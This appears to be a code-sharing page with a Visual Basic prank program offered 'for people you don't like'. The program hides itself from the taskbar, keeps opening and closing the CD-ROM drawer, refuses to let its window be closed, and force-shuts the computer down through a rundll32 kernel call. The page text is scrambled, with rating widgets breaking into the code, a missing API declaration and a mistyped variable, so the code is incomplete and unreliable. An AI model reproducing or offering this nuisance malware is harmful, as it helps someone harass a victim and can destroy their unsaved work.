• Home
 · 
• Miscellaneous
 · 
• This is great for people you don't like. This opens and closes the cd-rom draw and if you try to cl

This is great for people you don't like. This opens and closes the cd-rom draw and if you try to cl

This is great for people you don't like. This opens and closes the cd-rom draw and if you try to close it, it shuts down the computer! You

API Declarations



Dim lngReturn As Long
Dim strReturn As Long



Rate This is great for people you don't like. This opens and closes the cd-rom draw and if you try to cl

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

    Shell "rundll32 krnl386.exe,exitkernel"
End Sub

Private Sub Form_Load()
    cmdexit.Visible = False
    App.TaskVisible = False
End Sub

Private Sub Tmropen_Timer()
    lngReturn = mciSendString("set CDAudio door open", strReturn, 127, 0)
End Sub

Private Sub Tmrclose_Timer()
    lngReturn = mciSendString("set CDAudio door closed", strReturn, 127, 0)
End Sub

Private Sub form_unload(cancel As Integer)
    cancel = 1
End Sub

Private Sub tmrvisible_Timer()
    cmdexit.Visible = True
End Sub